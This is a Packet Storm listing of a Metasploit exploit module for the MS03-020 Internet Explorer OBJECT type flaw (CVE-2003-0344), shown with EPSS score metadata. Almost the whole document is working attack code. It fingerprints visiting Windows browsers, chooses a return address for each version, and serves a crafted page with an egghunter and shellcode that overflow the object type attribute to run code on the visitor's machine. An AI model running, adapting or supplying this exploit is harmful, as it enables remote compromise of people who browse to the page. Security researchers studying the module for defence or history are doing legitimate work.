MS03-020 Internet Explorer Object Type

2009-11-2600:00:00
skape
packetstormsecurity.com
0.971 High
EPSS
Percentile
99.7%
JSON
`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::Remote::Egghunter  
  
include Msf::Exploit::Remote::BrowserAutopwn  
autopwn_info({  
:ua_name => HttpClients::IE,  
:javascript => false,   
:os_name => OperatingSystems::WINDOWS,  
:vuln_test => nil, # no way to test without just trying it  
:prefix_html => "<!--[if lt IE 7]>",  
:postfix_html => "<![endif]-->",  
:rank => NormalRanking # reliable memory corruption  
})  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'MS03-020 Internet Explorer Object Type',  
'Description' => %q{  
This module exploits a vulnerability in Internet Explorer's  
handling of the OBJECT type attribute.  
},  
'Author' => 'skape',  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2003-0344' ],  
[ 'OSVDB', '2967' ],  
[ 'BID', '7806' ],  
[ 'MSB', 'MS03-020' ],  
],  
'Payload' =>  
{  
'Space' => 1000,  
'MaxNops' => 0,  
'BadChars' => "\x8b\xe2", # Prevent UTF-8-ification  
'StackAdjustment' => -3500,  
},  
'Targets' =>  
[  
# Target 0: Automatic  
[  
'Windows NT/XP/2003 Automatic',  
{  
'Platform' => 'win',  
'Rets' =>  
[  
0x777e85ab, # Windows NT: samlib jmp esp  
0x71ab1d54, # Windows XP: ws2_32 push esp/ret SP0/1  
0x77d1f92f, # Windows 2003: user32 jmp esp SP0/1  
],  
},  
],  
],  
'DefaultTarget' => 0))  
end  
  
def on_request_uri(cli, request)  
clean = 0x7ffdec50  
ret = nil  
  
# Figure out which return address to use based on the user-agent  
case request['User-Agent']  
when /Windows NT 5.2/  
ret = target['Rets'][2]  
when /Windows NT 5.1/  
ret = target['Rets'][1]  
when /Windows NT/  
ret = target['Rets'][0]  
else  
print_status("Sending 404 to user agent: #{request['User-Agent']}")  
cli.send_response(create_response(404, 'File not found'))  
return  
end  
  
# Re-generate the payload   
return if ((p = regenerate_payload(cli)) == nil)  
  
# Pack the values  
ret = [ ret ].pack('V')  
clean = [ clean ].pack('V')  
hunter = generate_egghunter()  
egg = hunter[1]  
  
# Now, build out the HTTP response payload  
content =   
"<html>" + egg + egg + p.encoded + "\n" +  
"<object type=\"////////////////////////////////////////////////////////////////" +  
rand_text_alphanumeric(8) + ret + clean +  
make_nops(8) + hunter[0] + "\">" +  
"</object>" +  
"</html>"  
  
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)   
end  
  
end  
`
0.971 High
EPSS
Percentile
99.7%
JSON
Related for PACKETSTORM:83150